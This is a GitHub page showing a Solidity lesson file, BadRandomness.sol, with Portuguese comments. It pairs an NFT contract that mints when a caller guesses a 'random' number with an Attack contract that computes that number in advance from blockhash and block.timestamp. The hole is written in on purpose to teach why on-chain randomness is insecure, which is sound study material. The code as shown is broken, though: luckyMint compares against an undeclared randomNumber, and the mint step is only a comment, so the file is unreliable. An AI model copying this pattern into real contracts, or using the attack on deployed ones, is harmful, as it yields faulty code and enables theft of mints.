forked from AmazingAng/WTF-Solidity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BadRandomness.sol
31 lines (26 loc) · 986 Bytes
/
BadRandomness.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
// Por 0xAA
pragma solidity ^0.8.21;
import "../34_ERC721/ERC721.sol";
contract BadRandomness is ERC721 {
uint256 totalSupply;
// Construtor, inicializa o nome e o código da coleção NFT
constructor() ERC721("", ""){}
// Função de construção: só é possível fazer a cunhagem quando o número da sorte inserido for igual ao número aleatório.
function luckyMint(uint256 luckyNumber) external {
// obter número aleatório ruim
require(randomNumber == luckyNumber, "Better luck next time!");
// mint
totalSupply++;
}
}
contract Attack {
function attackMint(BadRandomness nftAddr) external {
// Calcular números aleatórios antecipadamente
uint256 luckyNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
) % 100;
// Usando o luckyNumber para atacar
nftAddr.luckyMint(luckyNumber);
}
}